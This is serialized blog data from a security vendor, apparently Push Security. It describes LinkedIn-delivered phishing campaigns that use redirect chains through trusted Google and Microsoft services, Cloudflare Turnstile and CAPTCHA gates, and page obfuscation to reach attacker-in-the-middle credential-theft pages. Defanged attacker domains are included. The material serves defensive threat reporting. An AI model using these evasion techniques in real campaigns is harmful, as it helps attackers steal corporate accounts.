met.",{"url":99838,"width":1402,"height":99839},"https://images.ctfassets.net/y1cdw1ablpvd/3XySY2vdyZGZEZBAEPp06i/1df419fd704ea8c759270de68295e229/image4.png",1294,{"sys":99841,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"sys":99843,"__typename":1390,"title":99844,"caption":99844,"layoutMode":59,"file":99845},{"id":96256},"Raccoon0365 screenshot with BITB.",{"url":99846,"width":78520,"height":65371},"https://images.ctfassets.net/y1cdw1ablpvd/4YR0b1ymDOSeXjeFJa2Ibs/7a3e673c4668c865e557038d98523513/image1.png",{"items":99848},[],{},"Analyzing the latest Sneaky2FA BITB phishing page",{"items":99852},[99853,100300,100809],{"__typename":1429,"sys":99854,"content":99856,"title":100286,"synopsis":100287,"hashTags":59,"publishedDate":100288,"slug":100289,"tagsCollection":100290,"authorsCollection":100296},{"id":99855},"4vPEPmjd8MOlARD7oXfOrj",{"json":99857},{"data":99858,"content":99859,"nodeType":1382},{},[99860,99877,99893,99899,99906,99913,99916,99924,99942,99949,99955,99962,99968,99975,99981,99988,99994,100001,100007,100010,100018,100036,100042,100050,100070,100078,100110,100117,100125,100141,100149,100168,100174,100177,100184,100203,100210,100215,100218,100225,100241,100247,100254,100260],{"data":99861,"content":99862,"nodeType":866},{},[99863,99867,99874],{"data":99864,"marks":99865,"value":99866,"nodeType":865},{},[],"Push recently detected and blocked a high-risk LinkedIn phishing attack that demonstrated a number of crafty (and increasingly common) ",{"data":99868,"content":99869,"nodeType":889},{"uri":8862},[99870],{"data":99871,"marks":99872,"value":8868,"nodeType":865},{},[99873],{"type":943},{"data":99875,"marks":99876,"value":14251,"nodeType":865},{},[],{"data":99878,"content":99879,"nodeType":866},{},[99880,99884,99889],{"data":99881,"marks":99882,"value":99883,"nodeType":865},{},[],"Phishing via LinkedIn is increasingly common, although it often goes undetected and unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. In contrast to email-centric reporting, ",{"data":99885,"marks":99886,"value":99888,"nodeType":865},{},[99887],{"type":926},"34% of the phishing attacks intercepted by Push last month came through non-email channels",{"data":99890,"marks":99891,"value":99892,"nodeType":865},{},[]," like social media, IM platforms, malicious search engine ads, and in-app communications. ",{"data":99894,"content":99898,"nodeType":912},{"target":99895},{"sys":99896},{"id":99897,"type":909,"linkType":910},"7i8panfdFUqW9wqYkd9uDc",[],{"data":99900,"content":99901,"nodeType":866},{},[99902],{"data":99903,"marks":99904,"value":99905,"nodeType":865},{},[],"Phishing via LinkedIn is a great way to catch victims unawares and evade traditionally email-based anti-phishing controls. While often used for work and commonly accessed from corporate devices, it sits outside the purview of enterprise security tools, exploiting a visibility and control blind spot. ",{"data":99907,"content":99908,"nodeType":866},{},[99909],{"data":99910,"marks":99911,"value":99912,"nodeType":865},{},[],"Let’s break it down. ",{"data":99914,"content":99915,"nodeType":972},{},[],{"data":99917,"content":99918,"nodeType":981},{},[99919],{"data":99920,"marks":99921,"value":99923,"nodeType":865},{},[99922],{"type":926},"Phishing attack breakdown",{"data":99925,"content":99926,"nodeType":866},{},[99927,99931,99939],{"data":99928,"marks":99929,"value":99930,"nodeType":865},{},[],"The victim was sent a malicious link via LinkedIn DM relating to a fake investment opportunity for executives ",{"data":99932,"content":99934,"nodeType":889},{"uri":99933},"https://www.bleepingcomputer.com/news/security/linkedin-phishing-targets-finance-execs-with-fake-board-invites/",[99935],{"data":99936,"marks":99937,"value":99938,"nodeType":865},{},[],"to join the executive board of a newly created \"Common Wealth\" investment fund.",{"data":99940,"marks":99941,"value":2688,"nodeType":865},{},[],{"data":99943,"content":99944,"nodeType":866},{},[99945],{"data":99946,"marks":99947,"value":99948,"nodeType":865},{},[],"After clicking the link, they were redirected three times — via Google Search, and then payrails-canaccord[.]icu/(redacted) — before being sent to a custom landing page hosted on firebasestorage.googleapis[.]com/(redacted). ",{"data":99950,"content":99954,"nodeType":912},{"target":99951},{"sys":99952},{"id":99953,"type":909,"linkType":910},"65PeJOKzn6Ba7FDUQRae3Q",[],{"data":99956,"content":99957,"nodeType":866},{},[99958],{"data":99959,"marks":99960,"value":99961,"nodeType":865},{},[],"Upon clicking on one of the document links on the page, the victim is prompted to “view with Microsoft”. ",{"data":99963,"content":99967,"nodeType":912},{"target":99964},{"sys":99965},{"id":99966,"type":909,"linkType":910},"4f27KuwTRx1Do59rs3JoVl",[],{"data":99969,"content":99970,"nodeType":866},{},[99971],{"data":99972,"marks":99973,"value":99974,"nodeType":865},{},[],"The user is then met with a Cloudflare Turnstile gate challenge at login.kggpho[.]icu before the page will fully render, and malicious content is loaded. ",{"data":99976,"content":99980,"nodeType":912},{"target":99977},{"sys":99978},{"id":99979,"type":909,"linkType":910},"3lpVmLBZSocOSGdlCKhKnD",[],{"data":99982,"content":99983,"nodeType":866},{},[99984],{"data":99985,"marks":99986,"value":99987,"nodeType":865},{},[],"The Microsoft-impersonating AITM phishing page is then served to the victim. Entering credentials and completing the MFA check will result in their Microsoft session being stolen by the attacker. ",{"data":99989,"content":99993,"nodeType":912},{"target":99990},{"sys":99991},{"id":99992,"type":909,"linkType":910},"5FCa4EJwyux13K9KBT3nd4",[],{"data":99995,"content":99996,"nodeType":866},{},[99997],{"data":99998,"marks":99999,"value":100000,"nodeType":865},{},[],"You can see the full timeline of events in the Detection Timeline below. ",{"data":100002,"content":100006,"nodeType":912},{"target":100003},{"sys":100004},{"id":100005,"type":909,"linkType":910},"8lizkPJcGdZhtWFV2QEwQ",[],{"data":100008,"content":100009,"nodeType":972},{},[],{"data":100011,"content":100012,"nodeType":981},{},[100013],{"data":100014,"marks":100015,"value":100017,"nodeType":865},{},[100016],{"type":926},"Detection evasion techniques observed",{"data":100019,"content":100020,"nodeType":866},{},[100021,100025,100032],{"data":100022,"marks":100023,"value":100024,"nodeType":865},{},[],"The attacker used a number of ",{"data":100026,"content":100027,"nodeType":889},{"uri":8862},[100028],{"data":100029,"marks":100030,"value":8868,"nodeType":865},{},[100031],{"type":943},{"data":100033,"marks":100034,"value":100035,"nodeType":865},{},[]," to prevent the phishing site being analysed and detected by security tools. ",{"data":100037,"content":100041,"nodeType":912},{"target":100038},{"sys":100039},{"id":100040,"type":909,"linkType":910},"7q9D1MREwTCCpnjvZZ5wk1",[],{"data":100043,"content":100044,"nodeType":1317},{},[100045],{"data":100046,"marks":100047,"value":100049,"nodeType":865},{},[100048],{"type":926},"LinkedIn delivery",{"data":100051,"content":100052,"nodeType":866},{},[100053,100057,100066],{"data":100054,"marks":100055,"value":100056,"nodeType":865},{},[],"As we mentioned above, sending phishing lures via ",{"data":100058,"content":100060,"nodeType":889},{"uri":100059},"https://phishing-techniques.pushsecurity.com/techniques/social-media/",[100061],{"data":100062,"marks":100063,"value":100065,"nodeType":865},{},[100064],{"type":943},"social media apps",{"data":100067,"marks":100068,"value":100069,"nodeType":865},{},[]," like LinkedIn is a great way to reach employees in a place that they expect to be contacted by people outside of their organization. By evading the traditional phishing control point altogether (email) attackers significantly reduce the risk of interception. ",{"data":100071,"content":100072,"nodeType":1317},{},[100073],{"data":100074,"marks":100075,"value":100077,"nodeType":865},{},[100076],{"type":926},"Lengthy redirect chain through trusted sites",{"data":100079,"content":100080,"nodeType":866},{},[100081,100085,100093,100097,100106],{"data":100082,"marks":100083,"value":100084,"nodeType":865},{},[],"Attackers use ",{"data":100086,"content":100087,"nodeType":889},{"uri":38042},[100088],{"data":100089,"marks":100090,"value":100092,"nodeType":865},{},[100091],{"type":943},"lengthy redirect chains",{"data":100094,"marks":100095,"value":100096,"nodeType":865},{},[]," in combination with hosting pages on ",{"data":100098,"content":100100,"nodeType":889},{"uri":100099},"https://phishing-techniques.pushsecurity.com/techniques/trusted-website-hosting/",[100101],{"data":100102,"marks":100103,"value":100105,"nodeType":865},{},[100104],{"type":943},"legitimate, trusted sites",{"data":100107,"marks":100108,"value":100109,"nodeType":865},{},[]," (in this case Firebase, Google’s app development platform). This is a technique we see a lot, with various Google and Microsoft sites cropping up time and again, including Google Forms, Google Sites, Google Script, Google AMP, Microsoft Dynamics, SharePoint, Azure Front Door, and many more, all used by attackers as part of their phishing attacks. ",{"data":100111,"content":100112,"nodeType":866},{},[100113],{"data":100114,"marks":100115,"value":100116,"nodeType":865},{},[],"Legitimate services are less likely to be flagged by link analysis tools and effectively cloak the initial URL delivered to the victim to increase the chance of successful delivery of and access to the link, while many services are excluded from page scanning tools owing to their association with trusted domains. ",{"data":100118,"content":100119,"nodeType":1317},{},[100120],{"data":100121,"marks":100122,"value":100124,"nodeType":865},{},[100123],{"type":926},"Bot protection",{"data":100126,"content":100127,"nodeType":866},{},[100128,100131,100138],{"data":100129,"marks":100130,"value":96062,"nodeType":865},{},[],{"data":100132,"content":100133,"nodeType":889},{"uri":96065},[100134],{"data":100135,"marks":100136,"value":96071,"nodeType":865},{},[100137],{"type":943},{"data":100139,"marks":100140,"value":96075,"nodeType":865},{},[],{"data":100142,"content":100143,"nodeType":1317},{},[100144],{"data":100145,"marks":100146,"value":100148,"nodeType":865},{},[100147],{"type":926},"Page obfuscation",{"data":100150,"content":100151,"nodeType":866},{},[100152,100156,100164],{"data":100153,"marks":100154,"value":100155,"nodeType":865},{},[],"Phishing pages ",{"data":100157,"content":100158,"nodeType":889},{"uri":96164},[100159],{"data":100160,"marks":100161,"value":100163,"nodeType":865},{},[100162],{"type":943},"change and even randomize elements of the page",{"data":100165,"marks":100166,"value":100167,"nodeType":865},{},[]," to avoid static fingerprints and defeat comparison-based checks against real pages. This includes the page title, text, images, backgrounds, logos, favicons, etc. — all of which may be signatured components using web page analysis tools. These elements can even be embedded in an encoded form so it isn’t present in the initial HTML, and is instead dynamically set at runtime when loaded. As an example, you can see that the page randomly generated the tab header text.",{"data":100169,"content":100173,"nodeType":912},{"target":100170},{"sys":100171},{"id":100172,"type":909,"linkType":910},"2bbOZC9M4y69ACDy7bn209",[],{"data":100175,"content":100176,"nodeType":972},{},[],{"data":100178,"content":100179,"nodeType":981},{},[100180],{"data":100181,"marks":100182,"value":37911,"nodeType":865},{},[100183],{"type":926},{"data":100185,"content":100186,"nodeType":866},{},[100187,100191,100199],{"data":100188,"marks":100189,"value":100190,"nodeType":865},{},[],"We’re seeing ",{"data":100192,"content":100193,"nodeType":889},{"uri":937},[100194],{"data":100195,"marks":100196,"value":100198,"nodeType":865},{},[100197],{"type":943},"many phishing campaigns pivoting to social media apps like LinkedIn",{"data":100200,"marks":100201,"value":100202,"nodeType":865},{},[]," and organizations should be on guard against this attack vector, which is highly effective at evading common anti-phishing controls.  ",{"data":100204,"content":100205,"nodeType":866},{},[100206],{"data":100207,"marks":100208,"value":100209,"nodeType":865},{},[],"Just because the attack happens over LinkedIn doesn’t lessen the impact — these are corporate credentials and accounts being targeted, even if it is nominally a “personal” application. Taking over a core identity like a Microsoft or Google account can have wide-ranging consequences, putting data at risk in both core apps and any downstream apps that can be accessed via SSO from the compromised account. ",{"data":100211,"content":100214,"nodeType":912},{"target":100212},{"sys":100213},{"id":67359,"type":909,"linkType":910},[],{"data":100216,"content":100217,"nodeType":972},{},[],{"data":100219,"content":100220,"nodeType":981},{},[100221],{"data":100222,"marks":100223,"value":67289,"nodeType":865},{},[100224],{"type":926},{"data":100226,"content":100227,"nodeType":866},{},[100228,100231,100238],{"data":100229,"marks":100230,"value":67309,"nodeType":865},{},[],{"data":100232,"content":100233,"nodeType":889},{"uri":8862},[100234],{"data":100235,"marks":100236,"value":67317,"nodeType":865},{},[100237],{"type":943},{"data":100239,"marks":100240,"value":67321,"nodeType":865},{},[],{"data":100242,"content":100243,"nodeType":866},{},[100244],{"data":100245,"marks":100246,"value":85393,"nodeType":865},{},[],{"data":100248,"content":100249,"nodeType":866},{},[100250],{"data":100251,"marks":100252,"value":100253,"nodeType":865},{},[],"Check out the demo below to see Push detect and block this attack in real-time. ",{"data":100255,"content":100259,"nodeType":912},{"target":100256},{"sys":100257},{"id":100258,"type":909,"linkType":910},"5VsFECWlJ1HNGtC0jUcPjH",[],{"data":100261,"content":100262,"nodeType":866},{},[100263,100266,100273,100276,100283],{"data":100264,"marks":100265,"value":11372,"nodeType":865},{},[],{"data":100267,"content":100268,"nodeType":889},{"uri":11375},[100269],{"data":100270,"marks":100271,"value":11381,"nodeType":865},{},[100272],{"type":943},{"data":100274,"marks":100275,"value":53880,"nodeType":865},{},[],{"data":100277,"content":100278,"nodeType":889},{"uri":1372},[100279],{"data":100280,"marks":100281,"value":11405,"nodeType":865},{},[100282],{"type":943},{"data":100284,"marks":100285,"value":1615,"nodeType":865},{},[],"New phishing campaign identified targeting LinkedIn users","Diving into the latest sophisticated LinkedIn phishing campaign intercepted by Push. ","2025-10-30T00:00:00.000Z","new-phishing-campaign-identified-targeting-linkedin-users",{"items":100291},[100292,100294],{"sys":100293,"name":342},{"id":4642},{"sys":100295,"name":7796},{"id":7795},{"items":100297},[100298],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":100299},{"url":7804},{"__typename":1429,"sys":100301,"content":100302,"title":94775,"synopsis":94776,"hashTags":59,"publishedDate":94777,"slug":94778,"tagsCollection":100799,"authorsCollection":100805},{"id":94202},{"json":100303},{"data":100304,"content":100305,"nodeType":1382},{},[100306,100312,100318,100328,100333,100339,100342,100349,100355,100360,100373,100379,100400,100406,100411,100414,100421,100447,100452,100468,100473,100489,100495,100500,100503,100510,100516,100532,100538,100554,100560,100565,100568,100575,100581,100611,100617,100623,100663,100678,100687,100693,100696,100703,100719,100725,100731,100736,100739,100746,100762,100788,100793],{"data":100307,"content":100308,"nodeType":866},{},[100309],{"data":100310,"marks":100311,"value":94213,"nodeType":865},{},[],{"data":100313,"content":100314,"nodeType":866},{},[100315],{"data":100316,"marks":100317,"value":94220,"nodeType":865},{},[],{"data":100319,"content":100320,"nodeType":866},{},[100321,100324],{"data":100322,"marks":100323,"value":94227,"nodeType":865},{},[],{"data":100325,"marks":100326,"value":94232,"nodeType":865},{},[100327],{"type":926},{"data":100329,"content":100332,"nodeType":912},{"target":100330},{"sys":100331},{"id":66806,"type":909,"linkType":910},[],{"data":100334,"content":100335,"nodeType":866},{},[100336],{"data":100337,"marks":100338,"value":94244,"nodeType":865},{},[],{"data":100340,"content":100341,"nodeType":972},{},[],{"data":100343,"content":100344,"nodeType":981},{},[100345],{"data":100346,"marks":100347,"value":94255,"nodeType":865},{},[100348],{"type":926},{"data":100350,"content":100351,"nodeType":866},{},[100352],{"data":100353,"marks":100354,"value":94262,"nodeType":865},{},[],{"data":100356,"content":100359,"nodeType":912},{"target":100357},{"sys":100358},{"id":94267,"type":909,"linkType":910},[],{"data":100361,"content":100362,"nodeType":866},{},[100363,100366,100370],{"data":100364,"marks":100365,"value":94275,"nodeType":865},{},[],{"data":100367,"marks":100368,"value":94280,"nodeType":865},{},[100369],{"type":926},{"data":100371,"marks":100372,"value":94284,"nodeType":865},{},[],{"data":100374,"content":100375,"nodeType":866},{},[100376],{"data":100377,"marks":100378,"value":94291,"nodeType":865},{},[],{"data":100380,"content":100381,"nodeType":1616},{},[100382,100391],{"data":100383,"content":100384,"nodeType":1570},{},[100385],{"data":100386,"content":100387,"nodeType":866},{},[100388],{"data":100389,"marks":100390,"value":94304,"nodeType":865},{},[],{"data":100392,"content":100393,"nodeType":1570},{},[100394],{"data":100395,"content":100396,"nodeType":866},{},[100397],{"data":100398,"marks":100399,"value":94314,"nodeType":865},{},[],{"data":100401,"content":100402,"nodeType":866},{},[100403],{"data":100404,"marks":100405,"value":94321,"nodeType":865},{},[],{"data":100407,"content":100410,"nodeType":912},{"target":100408},{"sys":100409},{"id":94326,"type":909,"linkType":910},[],{"data":100412,"content":100413,"nodeType":972},{},[],{"data":100415,"content":100416,"nodeType":981},{},[100417],{"data":100418,"marks":100419,"value":94338,"nodeType":865},{},[100420],{"type":926},{"data":100422,"content":100423,"nodeType":866},{},[100424,100427,100434,100437,100444],{"data":100425,"marks":100426,"value":94345,"nodeType":865},{},[],{"data":100428,"content":100429,"nodeType":889},{"uri":66817},[100430],{"data":100431,"marks":100432,"value":94353,"nodeType":865},{},[100433],{"type":943},{"data":100435,"marks":100436,"value":94357,"nodeType":865},{},[],{"data":100438,"content":100439,"nodeType":889},{"uri":94360},[100440],{"data":100441,"marks":100442,"value":94366,"nodeType":865},{},[100443],{"type":943},{"data":100445,"marks":100446,"value":94370,"nodeType":865},{},[],{"data":100448,"content":100451,"nodeType":912},{"target":100449},{"sys":100450},{"id":94375,"type":909,"linkType":910},[],{"data":100453,"content":100454,"nodeType":866},{},[100455,100458,100465],{"data":100456,"marks":100457,"value":94383,"nodeType":865},{},[],{"data":100459,"content":100460,"nodeType":889},{"uri":94386},[100461],{"data":100462,"marks":100463,"value":94392,"nodeType":865},{},[100464],{"type":943},{"data":100466,"marks":100467,"value":14251,"nodeType":865},{},[],{"data":100469,"content":100472,"nodeType":912},{"target":100470},{"sys":100471},{"id":94400,"type":909,"linkType":910},[],{"data":100474,"content":100475,"nodeType":866},{},[100476,100479,100486],{"data":100477,"marks":100478,"value":94408,"nodeType":865},{},[],{"data":100480,"content":100481,"nodeType":889},{"uri":94411},[100482],{"data":100483,"marks":100484,"value":8868,"nodeType":865},{},[100485],{"type":943},{"data":100487,"marks":100488,"value":94420,"nodeType":865},{},[],{"data":100490,"content":100491,"nodeType":866},{},[100492],{"data":100493,"marks":100494,"value":94427,"nodeType":865},{},[],{"data":100496,"content":100499,"nodeType":912},{"target":100497},{"sys":100498},{"id":94432,"type":909,"linkType":910},[],{"data":100501,"content":100502,"nodeType":972},{},[],{"data":100504,"content":100505,"nodeType":981},{},[100506],{"data":100507,"marks":100508,"value":94444,"nodeType":865},{},[100509],{"type":926},{"data":100511,"content":100512,"nodeType":866},{},[100513],{"data":100514,"marks":100515,"value":94451,"nodeType":865},{},[],{"data":100517,"content":100518,"nodeType":866},{},[100519,100522,100529],{"data":100520,"marks":100521,"value":94458,"nodeType":865},{},[],{"data":100523,"content":100524,"nodeType":889},{"uri":94461},[100525],{"data":100526,"marks":100527,"value":94467,"nodeType":865},{},[100528],{"type":943},{"data":100530,"marks":100531,"value":94471,"nodeType":865},{},[],{"data":100533,"content":100534,"nodeType":866},{},[100535],{"data":100536,"marks":100537,"value":94478,"nodeType":865},{},[],{"data":100539,"content":100540,"nodeType":866},{},[100541,100544,100551],{"data":100542,"marks":100543,"value":94485,"nodeType":865},{},[],{"data":100545,"content":100546,"nodeType":889},{"uri":94488},[100547],{"data":100548,"marks":100549,"value":94494,"nodeType":865},{},[100550],{"type":943},{"data":100552,"marks":100553,"value":94498,"nodeType":865},{},[],{"data":100555,"content":100556,"nodeType":866},{},[100557],{"data":100558,"marks":100559,"value":94505,"nodeType":865},{},[],{"data":100561,"content":100564,"nodeType":912},{"target":100562},{"sys":100563},{"id":94510,"type":909,"linkType":910},[],{"data":100566,"content":100567,"nodeType":972},{},[],{"data":100569,"content":100570,"nodeType":981},{},[100571],{"data":100572,"marks":100573,"value":94522,"nodeType":865},{},[100574],{"type":926},{"data":100576,"content":100577,"nodeType":866},{},[100578],{"data":100579,"marks":100580,"value":94529,"nodeType":865},{},[],{"data":100582,"content":100583,"nodeType":1616},{},[100584,100593,100602],{"data":100585,"content":100586,"nodeType":1570},{},[100587],{"data":100588,"content":100589,"nodeType":866},{},[100590],{"data":100591,"marks":100592,"value":94542,"nodeType":865},{},[],{"data":100594,"content":100595,"nodeType":1570},{},[100596],{"data":100597,"content":100598,"nodeType":866},{},[100599],{"data":100600,"marks":100601,"value":94552,"nodeType":865},{},[],{"data":100603,"content":100604,"nodeType":1570},{},[100605],{"data":100606,"content":100607,"nodeType":866},{},[100608],{"data":100609,"marks":100610,"value":94562,"nodeType":865},{},[],{"data":100612,"content":100613,"nodeType":866},{},[100614],{"data":100615,"marks":100616,"value":94569,"nodeType":865},{},[],{"data":100618,"content":100619,"nodeType":866},{},[100620],{"data":100621,"marks":100622,"value":94576,"nodeType":865},{},[],{"data":100624,"content":100625,"nodeType":1616},{},[100626,100645,100654],{"data":100627,"content":100628,"nodeType":1570},{},[100629],{"data":100630,"content":100631,"nodeType":866},{},[100632,100635,100642],{"data":100633,"marks":100634,"value":94589,"nodeType":865},{},[],{"data":100636,"content":100637,"nodeType":889},{"uri":94592},[100638],{"data":100639,"marks":100640,"value":94598,"nodeType":865},{},[100641],{"type":943},{"data":100643,"marks":100644,"value":94602,"nodeType":865},{},[],{"data":100646,"content":100647,"nodeType":1570},{},[100648],{"data":100649,"content":100650,"nodeType":866},{},[100651],{"data":100652,"marks":100653,"value":94612,"nodeType":865},{},[],{"data":100655,"content":100656,"nodeType":1570},{},[100657],{"data":100658,"content":100659,"nodeType":866},{},[100660],{"data":100661,"marks":100662,"value":94622,"nodeType":865},{},[],{"data":100664,"content":100665,"nodeType":866},{},[100666,100669,100675],{"data":100667,"marks":100668,"value":94629,"nodeType":865},{},[],{"data":100670,"content":100671,"nodeType":889},{"uri":53672},[100672],{"data":100673,"marks":100674,"value":94636,"nodeType":865},{},[],{"data":100676,"marks":100677,"value":94640,"nodeType":865},{},[],{"data":100679,"content":100680,"nodeType":7584},{},[100681],{"data":100682,"content":100683,"nodeType":866},{},[100684],{"data":100685,"marks":100686,"value":94650,"nodeType":865},{},[],{"data":100688,"content":100689,"nodeType":866},{},[100690],{"data":100691,"marks":100692,"value":94657,"nodeType":865},{},[],{"data":100694,"content":100695,"nodeType":972},{},[],{"data":100697,"content":100698,"nodeType":981},{},[100699],{"data":100700,"marks":100701,"value":94668,"nodeType":865},{},[100702],{"type":926},{"data":100704,"content":100705,"nodeType":866},{},[100706,100709,100716],{"data":100707,"marks":100708,"value":94675,"nodeType":865},{},[],{"data":100710,"content":100711,"nodeType":889},{"uri":94678},[100712],{"data":100713,"marks":100714,"value":94684,"nodeType":865},{},[100715],{"type":943},{"data":100717,"marks":100718,"value":94688,"nodeType":865},{},[],{"data":100720,"content":100721,"nodeType":866},{},[100722],{"data":100723,"marks":100724,"value":94695,"nodeType":865},{},[],{"data":100726,"content":100727,"nodeType":866},{},[100728],{"data":100729,"marks":100730,"value":94702,"nodeType":865},{},[],{"data":100732,"content":100735,"nodeType":912},{"target":100733},{"sys":100734},{"id":80102,"type":909,"linkType":910},[],{"data":100737,"content":100738,"nodeType":972},{},[],{"data":100740,"content":100741,"nodeType":981},{},[100742],{"data":100743,"marks":100744,"value":34483,"nodeType":865},{},[100745],{"type":926},{"data":100747,"content":100748,"nodeType":866},{},[100749,100752,100759],{"data":100750,"marks":100751,"value":94724,"nodeType":865},{},[],{"data":100753,"content":100754,"nodeType":889},{"uri":94727},[100755],{"data":100756,"marks":100757,"value":94733,"nodeType":865},{},[100758],{"type":943},{"data":100760,"marks":100761,"value":94737,"nodeType":865},{},[],{"data":100763,"content":100764,"nodeType":866},{},[100765,100768,100775,100778,100785],{"data":100766,"marks":100767,"value":11372,"nodeType":865},{},[],{"data":100769,"content":100770,"nodeType":889},{"uri":11375},[100771],{"data":100772,"marks":100773,"value":11381,"nodeType":865},{},[100774],{"type":943},{"data":100776,"marks":100777,"value":53880,"nodeType":865},{},[],{"data":100779,"content":100780,"nodeType":889},{"uri":1372},[100781],{"data":100782,"marks":100783,"value":11405,"nodeType":865},{},[100784],{"type":943},{"data":100786,"marks":100787,"value":1615,"nodeType":865},{},[],{"data":100789,"content":100792,"nodeType":912},{"target":100790},{"sys":100791},{"id":94326,"type":909,"linkType":910},[],{"data":100794,"content":100795,"nodeType":866},{},[100796],{"data":100797,"marks":100798,"value":21,"nodeType":865},{},[],{"items":100800},[100801,100803],{"sys":100802,"name":342},{"id":4642},{"sys":100804,"name":7796},{"id":7795},{"items":100806},[100807],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":100808},{"url":7804},{"__typename":1429,"sys":100810,"content":100811,"title":87601,"synopsis":101344,"hashTags":59,"publishedDate":101345,"slug":87602,"tagsCollection":101346,"authorsCollection":101352},{"id":79682},{"json":100812},{"data":100813,"content":100814,"nodeType":1382},{},[100815,100821,100828,100835,100842,100845,100852,100859,100879,100885,100892,100898,100905,100912,100918,100934,100940,100947,100953,100956,100964,100971,100979,100997,101004,101011,101019,101038,101046,101065,101073,101092,101097,101100,101108,101115,101158,101165,101172,101175,101182,101189,101232,101235,101242,101249,101293,101320,101327],{"data":100816,"content":100820,"nodeType":912},{"target":100817},{"sys":100818},{"id":100819,"type":909,"linkType":910},"2pi21QGUvtdsDTbZYIF5Pr",[],{"data":100822,"content":100823,"nodeType":866},{},[100824],{"data":100825,"marks":100826,"value":100827,"nodeType":865},{},[],"Push recently detected and blocked a high-risk phishing attack targeting a company executive's Google Workspace account. ",{"data":100829,"content":100830,"nodeType":866},{},[100831],{"data":100832,"marks":100833,"value":100834,"nodeType":865},{},[],"This attack demonstrated a range of advanced detection evasion techniques designed to circumvent traditional detection controls. ",{"data":100836,"content":100837,"nodeType":866},{},[100838],{"data":100839,"marks":100840,"value":100841,"nodeType":865},{},[],"Given this was a highly targeted attack against a company executive, the impact of a successful phish would have been extremely high. Push’s browser-based detection and response solution intercepted and blocked the phish in real-time, preventing the Microsoft session or credentials being captured by the attacker.",{"data":100843,"content":100844,"nodeType":972},{},[],{"data":100846,"content":100847,"nodeType":981},{},[100848],{"data":100849,"marks":100850,"value":79610,"nodeType":865},{},[100851],{"type":926},{"data":100853,"content":100854,"nodeType":866},{},[100855],{"data":100856,"marks":100857,"value":100858,"nodeType":865},{},[],"A Push customer’s exec was targeted on LinkedIn via a direct message from another exec about an investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":100860,"content":100861,"nodeType":866},{},[100862,100866,100875],{"data":100863,"marks":100864,"value":100865,"nodeType":865},{},[],"The victim was sent a link to a basic page hosted on ",{"data":100867,"content":100869,"nodeType":889},{"uri":100868},"http://sites.google.com",[100870],{"data":100871,"marks":100872,"value":100874,"nodeType":865},{},[100873],{"type":943},"sites.google.com",{"data":100876,"marks":100877,"value":100878,"nodeType":865},{},[],", styled as a landing page for a private equity fund investment opportunity. The page had buttons to handle both Microsoft and Google users. ",{"data":100880,"content":100884,"nodeType":912},{"target":100881},{"sys":100882},{"id":100883,"type":909,"linkType":910},"1cEvEzLdKIuj6zuGn9aWJB",[],{"data":100886,"content":100887,"nodeType":866},{},[100888],{"data":100889,"marks":100890,"value":100891,"nodeType":865},{},[],"Upon clicking a button, Google Search was used as a redirect before taking the victim to a second page hosted on Microsoft Dynamics. This page was styled to look like Google Drive, where the victim was prompted to enter their last name and email into the form. ",{"data":100893,"content":100897,"nodeType":912},{"target":100894},{"sys":100895},{"id":100896,"type":909,"linkType":910},"4fJ3JUdGcuRTa2Nza9QhkU",[],{"data":100899,"content":100900,"nodeType":866},{},[100901],{"data":100902,"marks":100903,"value":100904,"nodeType":865},{},[],"Upon entering their details and clicking submit, the victim was finally sent to an  Attacker-in-the-Middle (AitM) phishing page. ",{"data":100906,"content":100907,"nodeType":866},{},[100908],{"data":100909,"marks":100910,"value":100911,"nodeType":865},{},[],"To access the page, the victim had to solve a custom CAPTCHA challenge, which we’ve observed in a number of recent phishing attacks that we’ve linked to the Tycoon 2FA phishing kit.  ",{"data":100913,"content":100917,"nodeType":912},{"target":100914},{"sys":100915},{"id":100916,"type":909,"linkType":910},"4Yu36QHTzSBZSg00QpbD1o",[],{"data":100919,"content":100920,"nodeType":866},{},[100921,100925,100930],{"data":100922,"marks":100923,"value":100924,"nodeType":865},{},[],"Because the customer had configured Push’s ",{"data":100926,"marks":100927,"value":100929,"nodeType":865},{},[100928],{"type":926},"phishing tool detection control",{"data":100931,"marks":100932,"value":100933,"nodeType":865},{},[]," in block mode, the Push browser agent flagged the page as malicious to the user and prevented the attack from continuing. ",{"data":100935,"content":100939,"nodeType":912},{"target":100936},{"sys":100937},{"id":100938,"type":909,"linkType":910},"6LfBXkDKqh1ogCMxaxyV6x",[],{"data":100941,"content":100942,"nodeType":866},{},[100943],{"data":100944,"marks":100945,"value":100946,"nodeType":865},{},[],"This detection was hooked by the customer’s security lake to trigger their security incident response workflow for further investigation. Push’s timelines feature ensured that the full chain of URLs accessed and actions performed on different pages could be analyzed by the security team. ",{"data":100948,"content":100952,"nodeType":912},{"target":100949},{"sys":100950},{"id":100951,"type":909,"linkType":910},"4S8J7zmi6Q5wOt9vQHUe6l",[],{"data":100954,"content":100955,"nodeType":972},{},[],{"data":100957,"content":100958,"nodeType":981},{},[100959],{"data":100960,"marks":100961,"value":100963,"nodeType":865},{},[100962],{"type":926},"Notable techniques",{"data":100965,"content":100966,"nodeType":866},{},[100967],{"data":100968,"marks":100969,"value":100970,"nodeType":865},{},[],"This attack featured a number of notable attacker techniques designed to evade common phishing detection controls. ",{"data":100972,"content":100973,"nodeType":1317},{},[100974],{"data":100975,"marks":100976,"value":100978,"nodeType":865},{},[100977],{"type":926},"Delivering the phishing lure via LinkedIn",{"data":100980,"content":100981,"nodeType":866},{},[100982,100985,100993],{"data":100983,"marks":100984,"value":54342,"nodeType":865},{},[],{"data":100986,"content":100987,"nodeType":889},{"uri":100059},[100988],{"data":100989,"marks":100990,"value":100992,"nodeType":865},{},[100991],{"type":943},"social media sites like LinkedIn",{"data":100994,"marks":100995,"value":100996,"nodeType":865},{},[]," to deliver a phishing message has a number of advantages for the attacker. Generally, users are less alert to phishing attempts on social platforms, particularly those like LinkedIn which are used for personal as well as work purposes. ",{"data":100998,"content":100999,"nodeType":866},{},[101000],{"data":101001,"marks":101002,"value":101003,"nodeType":865},{},[],"However, the primary benefit of delivering phishing over LinkedIn is to evade email-based detection controls. With modern email security tools conducting various stages of analysis, such as analysing the URL, attempting to inspect the page in a web sandbox, and analyzing the written content of an email for possible malicious intent, it can be easier for attackers to simply bypass email 